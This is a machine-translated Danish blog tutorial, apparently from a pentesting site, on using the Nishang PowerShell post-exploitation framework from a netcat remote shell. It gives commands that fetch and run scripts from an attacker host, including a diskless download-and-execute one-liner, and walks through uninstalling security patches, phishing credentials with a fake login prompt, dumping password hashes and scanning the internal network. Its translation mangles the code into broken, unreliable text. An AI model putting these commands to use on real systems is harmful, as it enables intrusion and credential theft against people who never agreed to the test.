Nishang: en ramme efter udnyttelse

jeg lavede for nylig en ekstern penetrationstest for en af vores klienter, hvor jeg fik shell-adgang til vinduer Server 2012(intern server sidder bag en IPS) med Administrative privilegier. Det ser også ud til at have et antivirusprogram installeret på systemet, da alt, hvad jeg uploadede til maskinen, blev slettet i farten. Jeg ledte efter alle mulighederne for at omgå dette problem, og besluttede at fortsætte med Magtshell. I det øjeblik du beslutter dig for at fortsætte med din postudnyttelse, behøver du ikke rigtig bekymre dig om at skrive dine egne scripts for at vinde spillet, da der er et par muligheder tilgængelige online. En af dem, som jeg virkelig kunne lide, er Nishang. Selvom jeg har observeret denne ramme lige fra starten, fik jeg aldrig en chance for at bruge den i den virkelige verden penetrationstest før dette.

hvis du nogensinde støder på en situation, hvor du skal bruge Nishang i dine pentests, så længe du har RDP-adgang til fjernmaskinen, er dit liv let. Men hvordan går du videre, når RDP ikke er tilgængelig, og alt hvad du har er en fjernskal? Denne artikel tjener dig som en introduktion til, hvordan du bruger Nishang, når du kun har en fjernskal.

Hvad er Nishang?

Nishang er en open source-ramme med flere kraftfulde Effektshell-scripts, som du kan bruge under postudnyttelsesfasen af din penetrationstest. Det har mange scripts kategoriseret i forskellige kategorier såsom informationsindsamling, scanning, privilegiehøjde osv. Denne artikel vil dække nogle af disse scripts i nogen bestemt rækkefølge. Resten af manuskripterne overlades til læserne som en øvelse, da Nishang er veldokumenteret med nogle fremragende hjælpemuligheder.

hovedmålet med denne artikel er at introducere Nishang og demonstrere, hvordan du bruger Nishang, når du har fjernskal på målsystemet.

Lab Setup:

før du begynder at læse artiklen, er der få punkter at bemærke.

  1. der er få nyttelast i Metasploit for at få en interaktiv Strømskalkonsol på offerets maskine. Det betyder, at når du bruger dem, får du en ekstern Strømshell, hvor du kan køre dine Strømshell cmdlets og scripts eksternt.
  2. Meterpreter ser ikke ud til at fungere godt med Strømshell. Dette betyder, at du muligvis ikke får en interaktiv Strømshellkonsol, når du har Meterpreter shell og forsøger at få Strømshell fra den ved hjælp af kommandoen “strømshell.eks ” på kommandoskallen.
  3. det er altid godt at lære ting med en skal med begrænsede funktioner, så du får det bedste ud af det, du lærer. Dette betyder, at vi har en simpel interaktiv skal opnået fra fjernmaskinen ved hjælp af Netcat.

Installation

følgende figur viser en skal med Administrative rettigheder.

vi vil bruge denne shell til at bruge Nishang og udforske nogle af dens scripts.

Nishang er tilgængelig i Kali Linuk under “/usr/share/nishang/” mappe. Alternativt kan du hente det fra følgende link.

https://github.com/samratashok/nishang

lad os begynde.

når vi har en fjernskal, er der få muligheder for at udføre Strømshell-scripts. Men først skal du beslutte mellem følgende to situationer.

  1. du vil hente dine scripts på disken og derefter udføre.
  2. Udfør dine scripts uden at røre disken.

jeg går med den første mulighed i denne artikel. Hvis du er interesseret i Mulighed 2, har jeg givet metoden i slutningen af artiklen.

upload af filer på fjernmaskinen

følgende 3-linjers script kan bruges til at hente dine scripts på offerets maskine.

$klient = nyt-objekt System.Net.

$targetlocation = “http://192.168.56.103/Check-VM.ps1”

$client.Last ned($targetlocation,”Check-VM. ps1″)

vi henter Check-VM. ps1 script på den eksterne maskine ved hjælp af ovenstående script. Derfor skal vi oprette en fil med ovenstående script som indhold. For at gøre dette skal du bare indtaste følgende kommandoer en efter en på den skal, vi fik.

echo $client = ny-objekt System.Net.Netclient > script. ps1

echo $ targetlocation = “http://192.168.56.103/Check-VM.ps1” >> script. ps1

echo $klient.Hentfil ($targetlocation, “Check-VM. ps1”) >> script.ps1

dette ser ud som vist nedenfor.

når du har dit script klar på målsystemet, skal du køre det som vist nedenfor, så scriptet bliver hentet på fjernmaskinen.

magtskal.Filscript.ps1-ikke-interaktivt filscript. ps1

som vi kan se i ovenstående figur, er check-VM.ps1 scriptet blevet hentet, og det er klar til handling. På samme måde kan du hente ethvert script, du ønsker.

Check-VM

det første script, vi vil prøve, er Check-VM.ps1, som vi lige har hentet. Dette script kontrollerer, om målmaskinen kører inde i en VM. Det kontrollerer for forskellige signaturer for at afgøre, om maskinen kører inde i en virtuel maskine. For eksempel, hvis en proces kaldet vboksbray.det kan være en virtuel boks. Tilsvarende, hvis følgende registreringsdatabasepost findes, står det, at det er virtuel boks.

at gøre dette manuelt kan være besværligt. Dette script automatiserer hele processen for at forenkle denne opgave.

for at køre dette script skal vi først importere modulet og derefter kalde funktionen “Check-VM”. Da vi er på en fjernskal, og det ikke er interaktivt at køre Strømshell-scripts, skal du bruge følgende one-liner til at udføre hele processen med et skud.

Magtskal.”& {Import-modul ‘C:UsersUserDesktoptempCheck-VM.ps1’; Check-VM}”

som vist i ovenstående figur har scriptet identificeret det som virtuel boks.

Port-Scan

det næste script er Port-Scan. Dette er et af de mest nyttige scripts af nishang. En gang, hvis du får adgang til en intern maskine, er det altid en afgørende del af postudnyttelsen at finde de interne IP ‘ er og scanne dem efter åbne porte. Dette script gør det meget nemt at finde de levende IP ‘ er i et bestemt område og scanne efter åbne porte.

Kør følgende script for at kontrollere live IPs mellem 192.168.56.101 og 192.168.56.105. Derefter skal du også scanne efter åbne porte.

Magtskal.”& {Import-modul ‘C:UsersUserDesktoptempPort-Scan.ps1’; Port-Scan-startadresse 192.168.56.101-Slutadresse 192.168.56.105-ResolveHost-ScanPort }”

her er den fantastiske! Vi fandt en domænecontroller i ovenstående laboratorienetværk.

Fjern-opdatering

hvis du vil fjerne eventuelle patches installeret på målmaskinen, er dette script noget for dig. Fjern-Opdater script hjælper dig med at fjerne en opdatering fra målmaskinen.

lad os først kontrollere listen over varme rettelser installeret ved hjælp af cmdlet “Get-Hotfiks”.

lad os nu prøve at fjerne den anden opdatering KB2534366. Kør scriptet Fjern opdatering som vist nedenfor.

Magtskal.”& {Import-modul ‘C:UsersUserDesktoptempRemove-Update.ps1’; Fjern-opdatering KB2534366}”

som vi kan se i ovenstående figur, er opdateringen blevet fjernet. Vi kan krydstjekke det ved at køre den samme cmdlet igen som vist nedenfor.

succes! Opdateringen er blevet fjernet.

Invoke-CredentialsPhish

dette er et godt script til at gøre phishing og for at modtage offerets brugernavn og adgangskode i klar tekst. Det bedste er, at du får det rigtige brugernavn og adgangskode, da dette phishing-vindue ikke forsvinder, før offeret indtaster det rigtige brugernavn og adgangskode.

Kør følgende script i terminalen.

Magtskal.”& {Import-modul ‘C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1’; Invoke-CredentialsPhish}”

dette åbner et vindue på offerets maskine som vist nedenfor. Lad os først indtaste noget tilfældigt brugernavn og adgangskode.

efter få sekunder vises dette vindue igen, og brugeren skal indtaste de rigtige legitimationsoplysninger for at slippe af med vinduet. Denne gang, lad os indtaste de rigtige legitimationsoplysninger.

lad os nu se, hvad der skete på vores terminal. J

vi fik brugernavnet og adgangskoden indtastet af offeret.

FireBuster

FireBuster er et af de meget nyttige scripts til at kontrollere de udgående porte, der åbnes gennem brandvæggen. Dette script kan testes ved hjælp af et andet script kaldet FireListener, som fungerer som en lytter for at teste forbindelsen. Da det er til testformål, startede jeg Netcat listener på port 5555 og 5556 på angriberens maskine i stedet for at bruge FireListener. Lad os nu køre følgende script for at se, om disse porte er tilladt gennem brandvæggen for at oprette udgående forbindelser.

Magtskal.”& {Import-modul ‘C:UsersUserDesktoptempFireBuster.ps1’; FireBuster 192.168.56.103 5555-5556}”

som vi kan se i ovenstående figur, foretager offermaskinen udgående forbindelser gennem de specificerede porte.

lad os tjekke det en anden runde, men denne gang blokerede jeg de udgående forbindelser over port 5556 i mine vinduer brandvæg på offerets maskine.

lad os køre scriptet en gang til og observere resultaterne.

dejligt, vi kan se, at porten 5556 ikke er angivet i output denne gang.

Get-PassHashes

Dumping adgangskode hashes fra offerets maskine er en af de fælles ting, vi ser under post udnyttelse. Get-Passhashs dumper adgangskoden hashes fra offerets maskine. Dette modul kræver en forhøjet skal. Derfor er vi nødt til at omgå UAC på fjernskallen.

kør følgende script på en forhøjet skal.

Magtskal.”& {Import-modul ‘C:UsersUserDesktoptempGet-PassHashes.ps1’; Get-PassHashes}”

som vi kan se i ovenstående figur, fik vi alle hashes.

hvis du vil vide om UAC bypass-koncepter, skal du gennemgå følgende bog skrevet af mig, hvor den forklares detaljeret.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

hvis du vil hente og udføre ovennævnte moduler uden at røre disken, kan du bruge følgende metode.

magtskal.bypass-kommando ” ny-objekt Net.).Hentstreng (‘http://192.168.56.103/Check-VM.ps1’); Check-VM”

vejen foran

der er mange andre nyttige scripts tilgængelige i Nishang, der kan bruges under vores penetrationstest, og jeg overlader dem til læserne som en øvelse, da konceptet bag brug af ethvert andet script forbliver det samme. Et andet værktøjssæt kaldet Magtploit er blevet diskuteret tidligere på vores blog, som kan findes her.

for at vide mere om nishang sine seneste opdateringer, følg deres blog her.

Skriv et svar

Din e-mailadresse vil ikke blive publiceret.